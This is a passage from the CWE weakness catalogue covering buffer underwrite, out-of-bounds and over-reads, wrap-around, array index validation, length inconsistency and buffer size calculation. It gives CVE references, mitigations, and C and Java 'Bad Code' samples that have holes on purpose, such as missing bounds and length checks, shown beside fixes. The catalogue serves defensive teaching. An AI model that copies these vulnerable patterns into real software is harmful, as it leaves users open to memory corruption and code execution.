This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.

Potential Mitigations

Architecture and Design

Language Selection

Use a language that provides appropriate memory abstractions.

Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-124: Buffer Underwrite ('Buffer Underflow')

Weakness ID: 124 (*Weakness Base*)

Status: Incomplete

Description

Summary

The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Alternate Terms

buffer underrun

Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

Availability

Modify memory

DoS: crash / exit / restart

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.

Integrity

Confidentiality

Availability

Access Control

Other

Execute unauthorized code or commands

Modify memory

Bypass protection mechanism

Other

If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.

Access Control**Other****Bypass protection mechanism****Other**

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit

Medium

Demonstrative Examples**Example 1:**

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

C Example:*Bad Code*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

Example 2:

The following is an example of code that may result in a buffer underwrite, if `find()` returns a negative value to indicate that `ch` is not found in `srcBuf`:

C Example:*Bad Code*

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to `srcBuf` is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow.
CVE-2004-2620	Buffer underflow due to mishandled special characters
CVE-2006-4024	Negative value is used in a <code>memcpy()</code> operation, leading to buffer underflow.
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow.

Reference	Description
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Implementation

Sanity checks should be performed on all calculated values used as index or for pointer arithmetic.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	786	Access of Memory Location Before Start of Buffer	699 1000	1191
ChildOf	B	787	Out-of-bounds Write	699 1000	1193
ChildOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1369
CanAlsoBe	V	196	Unsigned to Signed Conversion Error	1000	371
CanFollow	B	839	Numeric Range Comparison Without Minimum Check	1000	1266

Relationship Notes

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

Research Gaps

Much attention has been paid to buffer overflows, but "underflows" sometimes exist in products that are relatively free of overflows, so it is likely that this variant has been under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		UNDER - Boundary beginning violation ('buffer underflow?')
CLASP		Buffer underwrite
Software Fault Patterns	SFP8	Faulty Buffer Access

CWE-125: Out-of-bounds Read

Weakness ID: 125 (Weakness Base)

Status: Draft

Description

Summary

The software reads data past the end, or before the beginning, of the intended buffer.

Extended Description

This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Confidentiality

Read memory

Demonstrative Examples

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

C Example:

Bad Code

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

C Example:

Good Code

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
}
```

Observed Examples

Reference	Description
CVE-2004-0112	out-of-bounds read due to improper length check
CVE-2004-0183	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0184	out-of-bounds read, resultant from integer underflow
CVE-2004-0221	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0421	malformed image causes out-of-bounds read
CVE-2004-1940	large length value causes out-of-bounds read
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

CWE-126: Buffer Over-read

Weakness ID: 126 (Weakness Variant) Status: Draft

Description

Summary

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

Extended Description

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

- Confidentiality
- Read memory

Demonstrative Examples

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

C Example:

Bad Code

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possiblity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

Reference	Description
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.

Weakness Ordinalities

CWE-127: Buffer Under-read

Weakness ID: 127 (Weakness Variant)

Status: Draft

Description

Summary

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.

Extended Description

This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.

CWE-128: Wrap-around Error

Weakness ID: 128 (Weakness Base)

Status: Incomplete

Description

Summary

Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C (Often)
- C++ (Often)

Common Consequences

Availability

- DoS: crash / exit / restart**
- DoS: resource consumption (CPU)**
- DoS: resource consumption (memory)**
- DoS: instability**

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity

Modify memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Confidentiality

Availability

Access Control

Execute unauthorized code or commands

Bypass protection mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit

Medium

Demonstrative Examples

The following image processing code allocates a table for images.

C Example:

Bad Code

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Architecture and Design

Provide clear upper and lower bounds on the scale of any protocols designed.

Implementation

Place sanity checks on all incremented variables to ensure that they remain within reasonable bounds.

Background Details

Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	CVSS	Page

CWE-129: Improper Validation of Array Index

Weakness ID: 129 (Weakness Base)

Status: Draft

Description

Summary

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

Alternate Terms

out-of-bounds array index

index-out-of-range

array index underflow

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C (Often)
- C++ (Often)
- Language-Independent

Common Consequences

Integrity

Availability

DoS: crash / exit / restart

Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.

Integrity**Modify memory**

If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.

Confidentiality**Integrity****Modify memory****Read memory**

Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.

Integrity**Confidentiality****Availability****Execute unauthorized code or commands**

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.

Integrity**Availability****Confidentiality****DoS: crash / exit / restart****Execute unauthorized code or commands****Read memory****Modify memory**

A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.

Likelihood of Exploit

High

Detection Methods**Automated Static Analysis****High**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.

Demonstrative Examples**Example 1:**

In the code snippet below, an untrusted integer value is used to reference an object in an array.

Java Example:

Bad Code

```
public String getValue(int index) {  
    return array[index];  
}
```

If index is outside of the range of the array, this may result in an `ArrayIndexOutOfBoundsException` Exception being raised.

Example 2:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Java Example:

Bad Code

```
private void buildList ( int untrustedListSize ){  
    if ( 0 > untrustedListSize ){  
        die("Negative value supplied for list size, die evil hacker!");  
    }  
    Widget[] list = new Widget [ untrustedListSize ];  
    list[0] = new Widget();  
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new `Widget` in the first location, causing an exception to be thrown.

Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

C Example:

Bad Code

```
int getValueFromArray(int *array, int len, int index) {  
    int value;  
    // check that the array index is less than the maximum  
    // length of the array  
    if (index < len) {  
        // get the value at the specified index of the array  
        value = array[index];  
    }  
    // if array index is invalid then output error message  
    // and return value indicating error  
    else {  
        printf("Value is: %d\n", array[index]);  
        value = -1;  
    }  
    return value;  
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

C Example:

Good Code

```
...  
// check that the array index is within the correct  
// range of values for the array  
if (index >= 0 && index < len) {  
...  
}
```

Example 4:

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size,

the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

C Example:

Bad Code

```

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2)
            sizes[num - 1] = size;
    }
    ...
}

```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

C Example:

Good Code

```

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
    ...
}

```

Example 5:

In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

Java Example:

Bad Code

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {

```

```

String productSummary = getProductSummary(index);
} catch (Exception ex) {...}
return productSummary;
}
public String getProductSummary(int index) {
return products[index];
}

```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Java Example:*Good Code*

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
String productSummary = new String("");
try {
String productSummary = getProductSummary(index);
} catch (Exception ex) {...}
return productSummary;
}
public String getProductSummary(int index) {
String productSummary = "";
if ((index >= 0) && (index < MAX_PRODUCTS)) {
productSummary = products[index];
}
else {
System.err.println("index is out of bounds");
throw new IndexOutOfBoundsException();
}
return productSummary;
}
}

```

An alternative in Java would be to use one of the collection objects such as `ArrayList` that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

Java Example:*Good Code*

```

ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}

```

Example 6:

The following example asks a user for an offset into an array to select an item.

C Example:*Bad Code*

```

int main (int argc, char **argv) {
char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);
}

```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Observed Examples

Reference	Description
CVE-2001-1009	negative array index as argument to POP LIST command
CVE-2003-0721	Integer signedness error leads to negative array index
CVE-2004-1189	product does not properly track a count and a maximum number, which can lead to resultant array index overflow.
CVE-2005-0369	large ID in packet used as array index
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833)

Reference	Description
CVE-2007-5756	Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.

Potential Mitigations

Architecture and Design

Input Validation

Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

Operation

Environment Hardening

Defense in Depth

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.129.3] [R.129.4] and Position-Independent Executables (PIE) [R.129.8].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation

Environment Hardening

Defense in Depth

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.129.4] [R.129.5].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.

Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.129.6]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design**Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

ChildOf		970	SFP Secondary Cluster: Faulty Buffer Access	888	1369
MemberOf		884	CWE Cross-section	884	1306

Relationship Notes

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

Theoretical Notes

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

CWE-130: Improper Handling of Length Parameter Inconsistency

Weakness ID: 130 (*Weakness Base*)

Status: Incomplete

Description

Summary

The software parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.

Extended Description

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

Alternate Terms

length manipulation

length tampering

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C (*Sometimes*)
- C++ (*Sometimes*)
- Language-Independent

Common Consequences

Other

Varies by context

Demonstrative Examples

In the following C/C++ example the method `processMessageFromSocket()` will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that

contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

C Example:

Bad Code

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

Reference	Description
CVE-2000-0655	Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1.
CVE-2001-0191	Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length.
CVE-2001-0825	Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check.
CVE-2001-1186	Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection.
CVE-2002-1235	Length field of a request not verified.
CVE-2002-1357	Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code.
CVE-2003-0327	Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow.
CVE-2003-0345	Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required.
CVE-2003-0429	Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow.
CVE-2003-0825	Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues
CVE-2004-0095	Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value.
CVE-2004-0201	Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field

Reference	Description
CVE-2004-0413	SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow.
CVE-2004-0430	Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field.
CVE-2004-0492	Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow.
CVE-2004-0568	Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow.
CVE-2004-0774	Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1.
CVE-2004-0808	When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided.
CVE-2004-0826	Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message.
CVE-2004-0940	Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop.
CVE-2004-0989	Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs.
CVE-2005-0064	PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value.
CVE-2005-3184	Buffer overflow by modifying a length value.
CVE-2009-2299	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
SECUNIA:18747	Length field inconsistency crashes cell phone.

Potential Mitigations

Implementation

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

Implementation

Do not let the user control the size of the buffer.

Implementation

Validate that the length of the user-supplied data is consistent with the buffer size.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	699	220

CWE-131: Incorrect Calculation of Buffer Size

Weakness ID: 131 (Weakness Base)

Status: Draft

Description

Summary

The software does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

Availability

Confidentiality

DoS: crash / exit / restart

Execute unauthorized code or commands

Read memory

Modify memory

If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis

High

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Manual Analysis**High**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary / Bytecode**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

